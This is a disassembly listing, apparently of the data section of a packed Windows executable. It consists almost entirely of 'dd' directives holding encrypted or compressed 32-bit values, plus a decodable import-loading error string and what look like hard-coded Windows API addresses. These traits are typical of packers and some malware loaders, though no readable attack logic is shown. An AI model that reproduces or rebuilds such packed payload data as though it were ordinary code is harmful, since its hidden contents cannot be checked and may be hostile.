		dd 1B67EDB4h, 10D71031h, 12DA3884h, 1CE2408Ch, 29EC4A96h
		dd 61DC4F9Bh, 1BDA392h,	0F9DDBCF0h, 751D14DBh, 0F3A009Eh
		dd 69E43080h, 0CA1C1FEEh, 0F6BDF60Ch, 8D67B76Ah, 8BDB692Fh
		dd 1AB477D5h, 0CB1BCE54h, 6B1EAA6Dh, 47FCB1Bh, 0DA622B89h
		dd 0CCA280Bh, 2FE535F6h, 0F4744A4Bh, 0CF551B79h, 69F7BE1Ch
		dd 601666B6h, 430C6AE5h, 0A03403B9h, 0FDFC1375h, 42BFAADh
		dd 0E2F00B6Ah, 0B9470967h, 5D00B606h, 3BF4B6C5h, 0C43499CAh
		dd 50000000h, 0D98C18DBh, 7D30B47Bh, 43DBA402h,	0EBA1F17Bh
		dd 0C6C351Ch, 8D1BDEF6h, 75C89712h, 0EAF60C63h,	3A98E49Ah
		dd 0BB36E977h, 5C0F955Dh, 5767560Ch, 0ADC79611h, 61FC139Ch
		dd 532417E6h, 0E939F00Bh, 0BD095933h, 0FD78F0CEh, 0D15B2482h
		dd 4918CE1Eh, 0FA113B9Dh, 0BD1B96E6h, 0A31E6AF6h, 0A72160E0h
		dd 802BAE6Ch, 0F4BF8242h, 0A200B607h, 0C7F655DBh, 0C3B4CCC6h
		dd 9E4BA10h, 0BB80000h,	0F5B71561h, 0F4BD1B67h,	1AC62470h
		dd 3CA2874h, 2647317Dh,	46921EE5h, 4A9620E8h, 54A026ECh
		dd 59A533F6h, 999C6BE6h, 0C6F001BCh, 14DB03E7h,	23E64490h
		dd 7E31DB87h, 7BCB5920h, 67023100h, 0B5BF60Ch, 0DB8B6FBBh
		dd 0A3926118h, 0BCF60C67h, 26A11C6Ch, 0BF721CC8h, 679DA06Fh
		dd 64C2F60Ch, 1565189Eh, 11BB67C5h, 0A5580E5Eh,	7DF88447h
		dd 67003302h, 16D9F60Ch, 0AA60B08Ah, 0C24A55Eh,	6C3BB6B2h
		dd 0FC137D28h, 0C64E1775h, 6AC99813h, 0F3F00B72h, 4E0353A3h
		dd 0D68D937Fh, 4DF95799h, 0B40AF9AFh, 60BE39B4h, 89580E98h
		dd 53D1A1E3h, 0CE49FC4Ch, 5EB18453h, 5EAE5FC9h,	6305B9A8h
		dd 0E10A19E8h, 0FD255D3h, 7A9358C4h, 0DA9027h, 0A154DAA2h
		dd 0B860151h, 0AD60E4ADh, 8649A75Dh, 8D50AEFAh,	0EFA22EF1h
		dd 0D7F04F9Fh, 0AF050C17h, 8ECA6FCh, 3B00000h, 0EDAF0D59h
		dd 0ECB5135Fh, 12BE1C68h, 0FBC2206Ch, 1E3F2975h, 3E8A16DDh
		dd 428E18E0h, 4C981EE4h, 519D2BEEh, 0A19463DEh,	0BEF001BBh
		dd 43BEFBDFh, 0C67C174h, 984E9EF6h, 36E9773Ah, 76F17747h
		dd 139A25A7h, 0CF4A9AFCh, 0D925AB71h, 7C2FB57Bh, 0B558EADh
		dd 4557DAF0h, 0D3EBF00Bh, 0F6BC1A95h, 703FBA70h, 0FA145C54h
		dd 3BB669B9h, 0DB8E1ADDh, 0B477D58Bh, 4908C928h, 0E99CB4DBh
		dd 86993h, 0E6863300h, 0EC7A3C9Ah, 0F37942A0h, 0FF9D49A7h
		dd 28E55B3h, 72ABCCB6h,	7BD925ABh, 7FDD29B3h, 81DF2BB9h
		dd 73E632BEh, 0BA0A29F8h, 7453F001h, 9860BE90h,	5569580Eh
		dd 64D59813h, 424AFA5h,	0E6B530E6h, 0FC13C2CEh,	0A11CCF1Fh
		dd 3BF17B43h, 418D1BDDh, 13A168C6h, 0FC5A1060h,	0AF9AC3Ah
		dd 703FBACEh, 0F00BC205h, 0D3671A6Ah, 9CB1630h,	0D1602F7Bh
		dd 71F00BCDh, 48A62167h, 0C13CF29Ch, 0BC2A7F2h,	54A0F0F0h
		dd 0F3A634F6h, 0BC20524h, 3D15B8F0h, 1460EEB0h,	0EB66F4B6h
		dd 8A3DCB8Dh, 0CDFD400Fh, 1262F00Bh, 8A590CC2h,	0F00BC217h
		dd 0D88B19DCh, 0F5BDCE7Ah, 0D72A406Bh, 71EDA0F0h, 0E37774CEh
		dd 19DBE640h, 88503F8Bh, 0AC0A8500h, 0D6A55BE9h, 0F00BA16Ah
		dd 29F8ABFBh, 6C6A0AAFh, 0C4930E89h, 846AC571h,	45E89EEEh
		dd 0CCDC9EEDh, 0C6240629h, 0A81B0304h, 9E9CD85Ah, 0A715984Eh
		dd 31000001h, 0F9D60BEh, 14546A59h, 7D62CA99h, 50CBFC13h
		dd 0B72B281h, 41E8ABF0h, 0F2813680h, 6AE53585h,	6FBB490Ch
		dd 0FC24E11h, 54DB5F40h, 4DAB267Bh, 0D79FFD8Bh,	944A9A4Dh
		dd 0C98C59F1h, 0CE91EF3Bh, 0A669C742h, 4A014BA7h, 2979B2B5h
		dd 7D1C073h, 2BD73581h,	0AD70CE81h, 0FA58D31Fh,	9CFAAD33h
		dd 49994CDAh, 22E543F9h, 1314E396h, 0CAE9D690h,	2AA50F27h
		dd 0C75FD85Bh, 7F358505h, 18C45E21h, 2373C376h,	4269E5A8h
		dd 0D3532FACh, 0B073D11Dh, 56827124h, 55E8B732h, 6905C736h
		dd 361C1FEEh, 0D1A005C7h, 5C73662h, 81D1ABFBh, 55A1F1CBh
		dd 0AA7930F7h, 5C7368Bh, 813484D4h, 48174692h, 5C736F5h
		dd 4FCA1A6Ah, 363605D4h, 0DCA305C7h, 5D207E58h,	7CCC1CCFh
		dd 0BD7C4BC6h, 905C736h, 8B4EE8ABh, 1DF7ADFDh, 602381CDh
		dd 0E3A621D4h, 56F08D9Dh, 0A0FEB496h, 0E25120D9h, 7B05C7E5h
		dd 9428DB2Bh, 6CCF9E19h, 0F105C7E5h, 0EE48EBA1h, 489420E3h
		dd 1E9927EAh, 0E561D4A3h, 0AEFE05C7h, 825645F8h, 81BC8B06h
		dd 0EE05C7EAh, 31F4529Eh, 9245D395h, 0E13FF242h, 36BE871Bh
		dd 14B733E6h, 60ECAF3Ah, 65F3B614h, 0C27437B2h,	0EA783ABDh
		dd 0F454F627h, 8B41CF96h, 0D14C3C9Ch, 0C70ACF02h, 73399705h
		dd 34EA3AEDh, 60BE0A5Ah, 0DE590C9Ah, 7D30BE80h,	5088772Dh
		dd 8CDC622Ah, 63F1B311h, 2FAA60B0h, 0C70A2D60h,	0C7429205h
		dd 470EA069h, 66B669B9h, 8BE964B0h, 128D40C4h, 0C705F043h
		dd 0CD1D6D05h, 18DB3317h, 1E4E118Ch, 1D00694Ah,	819F3F13h
		dd 249366BEh, 49A7226Eh, 5645FB81h, 3706D568h, 28F60C46h
		dd 2E7E04CAh, 6DE863DEh, 0C469F9Eh, 0BA70C0F6h,	13B12DEBh
		dd 0AF2A7AFCh, 870DD634h, 0B4AD73D1h, 8FBEE7D1h, 0AFFB4BDFh
		dd 0D06B7134h, 5DFE0A9Eh, 40C120B6h, 0B60625h, 0A356DCA2h
		dd 8E500AB4h, 0EFA230F2h, 4C9C4F9Fh, 0A80681FCh, 51A154E2h
		dd 0C1D8CC9Bh, 0D525FA14h, 51E4A722h, 94FB9E70h, 56A62AF1h
		dd 0FC6ED1A0h, 0DCE2F60Ch, 0FCA39261h, 6CBCF60Ch, 883CF5A9h
		dd 0E9394D91h, 14059F6Eh, 1A6AFC13h, 0BA460967h, 0D401805Bh
		dd 0F6518AEh, 50Ah, 0FB47E592h,	14DDB9Dh, 652DAA3h, 652FCA8h
		dd 753E1A8h, 0F4BBFC1Dh, 0FEC62470h, 8CE2C78h, 0DD02E7Ah
		dd 45C0337Fh, 187C776h,	0D5B998F0h, 79F4744Ah, 139AD6AAh
		dd 54CF1FFCh, 9BA6F891h, 1BD1CD0Fh, 6C979968h, 7A3CF00Bh
		dd 12DB39ECh, 0BC5FD78Ah, 791C6562h, 3610D2A1h,	0AB5099CAh
		dd 6C000000h, 0AB460BEh, 686A8554h, 0EA65F60Ch,	883BC98Ch
		dd 8EDE642Ah, 2FF250D8h, 716655A1h, 0DD79A15h, 5DEBAD78h
		dd 0CE94089Ah, 0C4229D18h, 15B763FBh, 5400FC5h,	6AF60CC2h
		dd 4609671Ah, 857A3247h, 0C81834D2h, 3C4A8D7Ch,	3BBF2C1h
		dd 0F873F60Ch, 0C0C0A29h, 4D0353F6h, 12702373h,	0E846C14Fh
		dd 96E29826h, 5C2B30A7h, 0F60C0CD9h, 6BE63686h,	0C03759Ch
		dd 0ADFA2F6h, 0BE095D88h, 8A90C85Ch, 0D9852FC7h, 0FD5BD689h
		dd 0AAFAAD3Bh, 1C1A25F4h, 0EE91F60Ch, 0A7DFF854h
		dd 93325D2Ch, 563F60Ch,	1A66B642h, 0BCC4h, 60BEE000h, 0D5D109Eh
		dd 4566857h, 0B101B442h, 0BD17E661h, 12FC137Eh,	2C8447C2h
		dd 918D6B48h, 2C8A3DF3h, 9F8EDA64h, 0F07C3F1Bh,	229DED3Dh
		dd 0EF8349A7h, 9A4D9D27h, 72C5944Ah, 0E3F00B6Bh, 2D11E093h
		dd 17F00B6Bh, 0BCDDA74h, 4B8DBC1Eh, 69h, 79250DD0h, 4450C670h
		dd 0FBBEAA8Eh, 283B06ECh, 750E772Fh, 5B36B97Ch,	0EC9F25EEh
		dd 0A7964C9Ch, 0BDA5513h, 0F60C2228h, 0D432E535h, 0A907820Ch
		dd 5CAC5FFDh, 4F6B5AA6h, 0D0CF9E19h, 25F60C2Dh,	49A722D5h
		dd 7A49FF9Dh, 0F60CE2B7h, 0C1EB43E6h, 62C47746h, 4999F60Ch
		dd 5216A493h, 6D8908D7h, 0A0FEF60Ch, 0B0FC4CDAh, 8C18DBCCh
		dd 1EB87BD9h, 2E7ACA58h, 38CEF0B3h, 0C6F000B9h,	0CB9D2110h
		dd 0A44F8150h, 3DB8FC13h, 0BABCF6Eh, 461590F0h,	0F00BABF7h
		dd 78C81868h, 37843AFDh, 0A42AE6D7h, 0C56C3BEEh, 0EF00B02h
		dd 0AC0ABD4Bh, 59A95CEAh, 0F7AA32FBh, 8542DC7Fh, 0F281993Ch
		dd 99CA9030h, 4270h, 60BE8C00h,	84480B99h, 0E63CD309h
		dd 952918CEh, 0B8958D3h, 94FC13E1h, 7FC29144h, 79F00BFEh
		dd 6D2F7CD6h, 0B599CAC8h, 8C079557h, 0BC27EBDh,	0D98FDFF0h
		dd 0F156h, 0FC18DB00h, 6E7B9BBFh, 0DBE3C77Dh, 6A51918h
		dd 976573B8h, 6F369447h, 13150CD3h, 3E13E0Bh, 44A255A5h
		dd 0EE3EF17Bh, 3D9B4E9Eh, 41F4C37Ah, 1EF60C5Fh,	6DCB7ECEh
		dd 3D21EAAh, 0F60C541Ch, 0E6A84205h, 555A558h, 0C985BB9h
		dd 14546A59h, 0B70ECA99h, 7BF6FC13h, 0B7889ACh,	0D086D6F0h
		dd 0B02BA6F6h, 35048A52h, 0F00B7806h, 2B440757h, 0DE1C6C14h
		dd 0EDDC28DEh, 4D1C97D1h, 0FA11CF11h, 34AF2A7Ah, 104BEAB9h
		dd 0C414F602h, 21046F5h, 11C717F6h, 0E3713896h,	0EE723997h
		dd 0CD06568Fh, 0E93FF2B4h, 206h, 0F743E996h, 0FD49D799h
		dd 24ED69Fh, 0A56F8A4h,	135FE5ACh, 8CF0829h, 0AD2307Ch
		dd 14DA3884h, 21E4428Eh, 59D44793h, 184AB8Ah, 0F1D5B4F0h
		dd 449014DBh, 1AA26BC9h, 3611767h, 0BE39B440h, 0C674CEFh
		dd 0BC111F6h, 744ADBBFh, 2AAA79F4h, 0D2FC1375h,	7528AE74h
		dd 45956F25h, 6A7CC392h, 0A265F00Bh, 3D056316h,	0E58804B7h
		dd 0A2458E4Dh, 3C39FB88h, 0CE7999CAh, 95000000h, 0B57E18DBh
		dd 0CE2CDF2Fh, 0F7C67907h, 0F60C6C68h, 6FEA7639h, 0DC34911h
		dd 6A063C1h, 3CFFB240h,	0D2F705A8h, 98E838F2h, 0A0C8F6E5h
		dd 23825625h, 1472FC13h, 330DC351h, 410A68E3h, 0BE8D08BBh
		dd 0F00BEC7Fh, 8A4090E0h, 0F96F4F3Eh, 84D0AF7Eh, 0D525FA11h
		dd 6748975Ah, 32B58857h, 5AAAF602h, 78E15297h, 6ECC47C2h
		dd 0B1A3AAABh, 95A8F5F4h, 7F429245h, 9AED279Ah,	4CAA6005h
		dd 55B3FF85h, 4CA3028Eh, 0E4B4CCCAh, 0FCDB31h, 0F3A00000h
		dd 0DD9FFD49h, 0DCA5034Fh, 2AE0C58h, 0EBB2105Ch, 0E2F1965h
		dd 2E7A06CDh, 327E08D0h, 3C880ED4h, 418D1BDEh, 0B18453CEh
		dd 0AEF00183h, 14DBEBCFh, 23E64490h, 7C28BE87h,	0E63282D2h
		dd 8C18DB02h, 3D005ED9h, 58B51AFh, 0A22EF14Fh, 7C00C927h
		dd 77C379C9h, 0B7323688h, 1A4001E8h, 975AD5FCh,	0AE647C31h
		dd 0D6653477h, 87F00121h, 57A78137h, 828346A4h,	0BA8361B0h
		dd 54A0F06Eh, 0F2A533F6h, 1E939723h, 55B32E75h,	0A84B018Fh
		dd 0F480438Eh, 54B22DA8h, 332018Bh, 5C8D075Ch, 35F8560Ch
		dd 0B679F4A7h, 0F2522841h, 84B32569h, 6FFEABBEh, 66D5A41Fh
		dd 0F78D075Eh, 0E793F1A7h, 83FE9245h, 0F944AEC0h, 8339E773h
		dd 0B87B46E0h, 0D64C1EB9h, 54C38614h, 0B53F0849h, 1262B202h
		dd 17A568C6h, 0A151D99Ch, 781E1DECh, 0EF3F8D07h, 0C4FC3E2Ch
		dd 3055B0Eh, 21000000h,	2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh
		dd 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h
		dd 10D230E3h, 687ECF82h, 2F07h,	53243C89h, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 4368242Ch, 8900000Ch, 0B951243Ch
		dd 72EB0C40h, 0F8E547BDh, 86ED8178h, 29473800h,	86C581CDh
		dd 59473800h, 8904EC83h, 4832424h, 505F0424h, 0BA52E889h
		dd 8, 289FA01h,	34FF585Ah, 0C4835F24h, 242C8B04h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF99625h, 37595516h
		dd 0E63A629Eh, 0B8747FEBh, 60DE5E6h, 0E0FFC503h, 4EF22DE3h
		dd 7235191Bh, 1E111FB5h, 534699A1h, 6AA2A7DBh, 3A6DD339h
		dd 65EA3D79h, 0CE6D4D0h, 3AFBDC75h, 4410176Fh, 8371234h
		dd 3D101247h, 2CB2E34Dh, 24FD8D8Dh, 573CE323h, 59D2B072h
		dd 58692867h, 21A4323Ch, 2035E588h, 6FF763B2h, 7AB7FAF5h
		dd 521AE21Ah, 6B658CCBh, 692D7CC6h, 4FBFC40Fh, 377F9492h
		dd 5087208Fh, 4DC759DFh, 72F3E395h, 1DE69840h, 54109069h
		dd 689E06D2h, 13E8h, 7C1BFC00h,	93C4B3C7h, 0BDB3EE27h
		dd 2D60D44Ch, 0DA614D73h, 59F7F280h, 6FC5BA66h,	6E1CC181h
		dd 14E90000h, 0D9000000h, 0CAC265BBh, 9241F9Eh,	85A48A41h
		dd 87CC6CE1h, 0B8E8207Ah, 1B59h, 12E9h,	0FA831A00h, 9EE43CE3h
		dd 4EB8CDF1h, 6953755Ch, 0FF709FF3h, 0CBBA6631h, 81F85F1Dh
		dd 53A768C7h, 7FBA6629h, 0ECC7813Bh, 815ACB9Dh,	642A57F7h
		dd 0EE937h, 6FDF0000h, 4DA50DFEh, 50AD6D73h, 578BA8D6h
		dd 0EA816057h, 1C77E2Fh, 0CE9h,	2E18300h, 72B57239h, 29ED54F9h
		dd 18F616Dh, 7226F381h,	0E9832F8Ch, 0DF8B6604h,	0A0850F48h
		dd 81FFFFFFh, 51054FD2h, 5F8D8D57h, 89060DE8h, 70A018Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 45EE2180h, 6860F4Ah, 89000000h, 70345BDh
		dd 0A585C706h, 0A0060714h, 81000068h, 0BE027DD2h, 0D585C700h
		dd 6072Fh, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 822EC355h, 2ECA819Eh, 5033CD53h
		dd 0FE9h, 44597000h, 0CC2C8927h, 9BF943C7h, 0BE0C1889h
		dd 4DB5FF58h, 8B060705h, 7188195h, 1995FF06h, 8906071Ch
		dd 732B585h, 0FF006A06h, 71B6995h, 0EBC08B06h, 8A8AD4Bh
		dd 684D58FFh, 74BEDD31h, 3A0B7CBFh, 97B82C15h, 3F826910h
		dd 1FF4F5ACh, 511F313Ah, 3A89BD5Eh, 957DD5FBh, 0E5C24E66h
		dd 0A7638954h, 55AE566Fh, 0E0B65CE1h, 27E4738Eh, 7B549E9h
		dd 782D4F5Fh, 0C187F9D7h, 20796929h, 127E9h, 765B5000h
		dd 4EEFAC73h, 15h, 206E4100h, 6F727245h, 61682072h, 636F2073h
		dd 65727275h, 68772064h, 20656C69h, 64616F6Ch, 20676E69h
		dd 6F706D69h, 737472h, 77E7AC37h, 77E75CEBh, 77E73C49h
		dd 77F7E21Fh, 77F7E300h, 77E60000h, 7, 5 dup(0)
		dd 77E7A5FDh, 2Ch dup(0)
		dd 2, 0C706E148h, 63921DF4h, 8F96A6CFh,	34126433h, 0B11C1311h
		dd 35180335h, 2B616642h, 0F29E3572h, 321177A9h,	1F90EF88h
		dd 0BF136174h, 3BBFCEBFh, 69C69917h, 57A8E5D0h,	32136149h
		dd 61457156h, 321177A9h, 1F90EF88h, 0BF136174h,	3BB2F1BFh
		dd 69C69917h, 0B1D5EDD0h, 3FFC65F9h, 0B61A6624h, 32156601h
		dd 82EBE305h, 0E2EA6049h, 833BE3AFh, 0E2EA601Ch, 2730E34Eh
		dd 5A436043h, 0AEBDDE70h, 2EA8D3EEh, 0B798608Fh, 341F16B0h
		dd 0B79CB6DDh, 341264C8h, 0DBC6E305h, 0BF456049h, 3FFDD2A7h
		dd 0A7EA3617h, 341249E9h, 1280E383h, 32156025h,	0B7D36611h
		dd 341273ADh, 5B7C0E01h, 87EAE850h, 34124F28h, 0A98E305h
		dd 0E2EA6043h, 2E1CE3ABh, 0B7D36016h, 341273ADh, 594B0E07h
		dd 87EAFA45h, 34124F28h, 0A98E305h, 0E2EA6043h,	0DAFEE3ABh
		dd 0B7D3601Ch, 341273ADh, 5A3C0E10h, 87EA8840h,	34124F28h
		dd 0A98E305h, 0E2EA6043h, 0DAFAE3ABh, 0B7D3601Ch, 341273ADh
		dd 0AD70E01h, 87EABC42h, 34124F28h, 0A98E305h, 0E2EA6043h
		dd 0DAE6E3ABh, 8F96601Ch, 34125439h, 77906944h,	0F4156622h
		dd 35004394h, 0B47D238Eh, 0CDEF463Ah, 353C5F97h, 0BF90EB17h
		dd 0CD1361B0h, 0C590EF94h, 0F4136BCAh, 35004394h, 0F17D2A8Eh
		dd 0CDF54094h, 353C5F97h, 0BF90EB17h, 0CD1361B0h, 0C990EF94h
		dd 0DB136BCAh, 32156651h, 2730E34Eh, 5A476043h,	8E5F822Fh
		dd 3FF4D3EEh, 0B798608Fh, 34125EC9h, 0B79CB6DDh, 34188EE6h
		dd 2730E34Eh, 5A476043h, 94592C6Ah, 3FF4D3EEh, 0B798608Fh
		dd 34125EC9h, 0B79CB6DDh, 34188EEAh, 2730E34Eh,	5A476043h
		dd 0CF57D2C8h, 1B2CD3EEh, 0B798608Fh, 34125EC9h, 0B79CB6DDh
		dd 34126FC8h, 2730E34Eh, 5A626043h, 0C182CE81h,	38CD3EEh
		dd 0B798608Fh, 34125EC9h, 0B79CB6DDh, 34127C40h, 2730E34Eh
		dd 5A476043h, 0B8C85735h, 1B2CD3EEh, 0B798608Fh, 34125EC9h
		dd 0B79CB6DDh, 34126368h, 2730E34Eh, 5A436043h,	0E60A0B1Bh
		dd 2EA8D3EEh, 0B798608Fh, 341F16B0h, 0B79CB6DDh, 34126BE0h
		dd 2730E34Eh, 5A526043h, 0B3C97658h, 1B2CD3EEh,	0B798608Fh
		dd 34125EC9h, 0B79CB6DDh, 34127220h, 2730E34Eh,	5A526043h
		dd 0B81AD3C0h, 1B2CD3EEh, 0B798608Fh, 34125EC9h, 0B79CB6DDh
		dd 34188F0Ah, 3E5CDB0Bh, 3D156043h, 321337A6h, 1790A011h
		dd 7E13619Dh, 0E8098F2Ch, 0BA099FBh, 0BF136138h, 352DEB0Dh
		dd 0BBC59942h, 3FFC61A7h, 1790A017h, 7E13619Dh,	46CBA82Ch
		dd 0BA099FFh, 0BF136138h, 352DEB0Dh, 0BBC59942h, 3FFC6DA7h
		dd 1790A017h, 7E13619Dh, 0B397592Ch, 0BA09995h,	0BF136138h
		dd 352DEB0Dh, 0BBC59942h, 3FFC69A7h, 1790A017h,	7E13619Dh
		dd 1D557E2Ch, 0BA09991h, 0BF136138h, 352DEB0Dh,	0BBC59942h
		dd 3FFC69A7h, 1790A017h, 7413619Dh, 0EC13722Ch,	0BA09998h
		dd 0BF136138h, 352DEB0Dh, 0BBC59942h, 3FFC71A7h, 1790A017h
		dd 7513619Dh, 0EE051C2Ch, 0BA099A3h, 0BF136138h, 352DEB0Dh
		dd 0BBC59942h, 3FFC79A7h, 1790A017h, 7513619Dh,	0B59BCA2Ch
		dd 0BA099CDh, 0BF136138h, 352DEB0Dh, 0BBC59942h, 3FFC45A7h
		dd 1790A017h, 7513619Dh, 0A8B2B42Ch, 0BA099F6h,	0BF136138h
		dd 352DEB0Dh, 0BBC59942h, 3FFC41A7h, 1790A017h,	7513619Dh
		dd 0F32C622Ch, 0BA09998h, 0BF136138h, 352DEB0Dh, 0BBC59942h
		dd 3FFC4DA7h, 0FFA8E517h, 3213618Ah, 0B7D34631h, 34127307h
		dd 1F720E56h, 87EA86FAh, 34124F7Dh, 0A98E3AFh, 0E2EA6016h
		dd 0DB3AE301h, 0B7D36049h, 34127307h, 81A40E56h, 87EAE8A1h
		dd 34124F7Dh, 0A98E3AFh, 0E2EA6016h, 0DB26E301h, 0B7D36049h
		dd 34127307h, 78B20E52h, 87EAA6FEh, 34124F7Dh, 0A98E3AFh
		dd 0E2EA6016h, 0DB22E301h, 0B7D36049h, 34127307h, 5EFE0E5Dh
		dd 87EA9DEEh, 341257DDh, 0A98E3AFh, 0E2EA6016h,	0DBDEE301h
		dd 0B7D36049h, 34127307h, 0BC400E55h, 87EADDFBh, 34124F7Dh
		dd 0A98E3AFh, 0E2EA6016h, 0DB2EE301h, 0B7D36049h, 34127307h
		dd 5CE90E52h, 87EADA06h, 34124F7Dh, 0A98E3AFh, 0E2EA6016h
		dd 0DB2AE301h, 0B7D36049h, 34127307h, 0CBF0E42h, 87EAA098h
		dd 34124F7Dh, 0A98E3AFh, 0E2EA6016h, 0DB56E301h, 8F966049h
		dd 34127507h, 0D2916911h, 0F4156688h, 350043C1h, 37D2024h
		dd 0CDEFF0DFh, 353C5F3Dh, 0BF90EB42h, 0CD13611Ah, 0AD90EFC1h
		dd 0F4136B61h, 350043C1h, 0E47D2024h, 0CDE9C12Bh, 353C5F3Dh
		dd 0BF90EB42h, 0CD13611Ah, 9D90EFC1h, 0F4136B61h, 350043C1h
		dd 327D2024h, 0CD879AB5h, 353C5F3Dh, 0BF90EB42h, 0CD13611Ah
		dd 8190EFC1h, 0F4136B61h, 350043C1h, 587D2024h,	0CDE3B25Eh
		dd 353C5F3Dh, 0BF90EB42h, 0CD13611Ah, 8590EFC1h, 0F4136B61h
		dd 350043C1h, 0D57D2024h, 0CD81AB41h, 353C5F3Dh, 0BF90EB42h
		dd 0CD13611Ah, 9190EFC1h, 0F4136B61h, 350043C1h, 97D2024h
		dd 0CDA44465h, 353C5F3Dh, 0BF90EB42h, 0CD13611Ah, 9590EFC1h
		dd 0F4136B61h, 350043C1h, 0DF7D2024h, 0CDCA1FFBh, 353C5F3Dh
		dd 0BF90EB42h, 0CD13611Ah, 9990EFC1h, 0B1136B61h, 3517ABF9h
		dd 12606624h, 2730E3D7h, 5A46608Fh, 0FCAB861Ah,	1B2CD3DDh
		dd 0B7986016h, 34125E05h, 0B79CB6BBh, 34188F65h, 2730E3D7h
		dd 5A52608Fh, 0F5A438C3h, 1B2CD3DDh, 0B7986016h, 34125E05h
		dd 0B79CB6BBh, 34188F69h, 30D8DB92h, 4715608Fh,	1790A064h
		dd 75136137h, 506B6379h, 0BA0996Eh, 0BF13616Dh,	352DEBA7h
		dd 0BBC59917h, 3FFC290Dh, 1790A042h, 71136137h,	481C9079h
		dd 0BA0991Ah, 0BF13616Dh, 352DEBA7h, 0BBC59917h, 3FFC350Dh
		dd 1790A042h, 71136137h, 13824679h, 0BA09974h, 0BF13616Dh
		dd 352DEBA7h, 0BBC59917h, 3FFC310Dh, 0FFA8E542h, 32136120h
		dd 0B7D32664h, 341273ADh, 9A160E07h, 87EAED22h,	34124F28h
		dd 0A98E305h, 0E2EA6043h, 0DB4AE3ABh, 0B7D3601Ch, 341273ADh
		dd 4C00E07h, 87EA8379h,	34124F28h, 0A98E305h, 0E2EA6043h
		dd 0DB4EE3ABh, 0B7D3601Ch, 341273ADh, 0F40E07h,	87EA8C88h
		dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB76E3ABh, 0B7D3601Ch
		dd 341273ADh, 9E220E07h, 87EAE2D3h, 34124F28h, 0A98E305h
		dd 0E2EA6043h, 0DB72E3ABh, 0B7D3601Ch, 341273ADh, 0A2C10E0Bh
		dd 87EAF117h, 34124F28h, 0A98E305h, 0E2EA6043h,	0DB7EE3ABh
		dd 0B7D3601Ch, 341273ADh, 3C170E0Bh, 87EA9F4Ch,	34124F28h
		dd 0A98E305h, 0E2EA6043h, 0DB7AE3ABh, 0B7D3601Ch, 341273ADh
		dd 4B5C0E09h, 87EAAE15h, 34124F28h, 0A98E305h, 0E2EA6043h
		dd 0DB62E3ABh, 0B7D3601Ch, 341273ADh, 7F9C0E09h, 87EABAD5h
		dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB66E3ABh, 0B7D3601Ch
		dd 341273ADh, 1F220E11h, 87EAFA39h, 34124F28h, 0A98E305h
		dd 0E2EA6043h, 0DB6EE3ABh, 0B7D3601Ch, 341273ADh, 0C23F0E07h
		dd 87EAB4F7h, 34124F28h, 0A98E305h, 0E2EA6043h,	0DB6AE3ABh
		dd 0B7D3601Ch, 341273ADh, 86FF0E16h, 87EA9B60h,	34124F28h
		dd 0A98E305h, 0E2EA6043h, 3BCCE3ABh, 0B7D36016h, 341273ADh
		dd 6B8C0E03h, 87EA84BAh, 34124F28h, 0A98E305h, 0E2EA6043h
		dd 0DB96E3ABh, 0B7D3601Ch, 341273ADh, 52D70E03h, 87EAD7DFh
		dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB92E3ABh, 0B7D3601Ch
		dd 341273ADh, 0CC010E03h, 87EAB984h, 34124F28h,	0A98E305h
		dd 0E2EA6043h
		dd 0DB9EE3ABh, 0B7D3601Ch, 341273ADh, 0C07D0E1Bh, 87EAF872h
		dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB9AE3ABh, 0B7D3601Ch
		dd 341273ADh, 492A0E0Bh, 87EAA1DEh, 34124F28h, 0A98E305h
		dd 0E2EA6043h, 0DBAEE3ABh, 0B7D3601Ch, 341273ADh, 5C590E03h
		dd 87EA9C79h, 34124F28h, 0A98E305h, 0E2EA6043h,	0DBAAE3ABh
		dd 0B7D3601Ch, 341273ADh, 16D80E03h, 87EAA524h,	34124F28h
		dd 0A98E305h, 0E2EA6043h, 0DBD6E3ABh, 0B7D3601Ch, 341273ADh
		dd 52D90E1Bh, 87EAB299h, 34124F28h, 0A98E305h, 0E2EA6043h
		dd 0DB86E3ABh, 0B7D3601Ch, 341273ADh, 665B0E1Bh, 87EAF8CBh
		dd 34124F28h, 0A98E305h, 0E2EA6043h, 0DB82E3ABh, 0B7D3601Ch
		dd 341273ADh, 1A5D0E1Bh, 87EAB731h, 34124F28h, 0A98E305h
		dd 0E2EA6043h, 0DB8EE3ABh, 367F601Ch, 320566E0h, 22150E44h
		dd 327F6622h, 30CCF3EEh, 0B79C608Fh, 341266F1h,	812CE3AFh
		dd 0E2EA601Ch, 327D62E2h, 5A156654h, 32154622h,	0A7EA667Bh
		dd 34126451h, 21F0E3CDh, 0B79C6025h, 34127C84h,	327D26E2h
		dd 5A156654h, 32146622h, 0A7EA667Bh, 34126451h,	31E0E3CDh
		dd 879E6025h, 34124F20h, 1DB4FB03h, 879C6043h, 341248B3h
		dd 1C60FB98h, 0AF9E608Fh, 341249E5h, 0CB966DA9h, 0ED916911h
		dd 62156682h, 0F2260615h, 3C2CE3ABh, 0EAB6016h,	31156688h
		dd 54354230h, 1651658Fh, 4A65ED31h, 1231128Bh, 0BB0D18CFh
		dd 353A0B9Fh, 3DEAE317h, 32156C0Dh, 231B8E44h, 0A3FC6622h
		dd 63156611h, 0E07EB103h, 0C380EF40h, 58136135h, 22150E15h
		dd 58476688h, 0EB809944h, 0BB136120h, 353A2794h, 6BC5ED8Eh
		dd 3205B9ACh, 31B83022h, 0A5314255h, 42B903h, 0B71AC884h
		dd 0CDEA99DBh, 60EE4D4Fh, 8F9EB103h, 341266F1h,	1EAAFA1h
		dd 13ECD1h, 369E2049h, 3AFCA7C3h, 3D5FAE11h, 0CDEA8C94h
		dd 0C5D4ED77h, 309C3C94h, 6011A4A1h, 3C2CE3EEh,	0A79E608Fh
		dd 3412687Dh, 1D78F31Bh, 0B61A6016h, 32156682h,	0F496381Eh
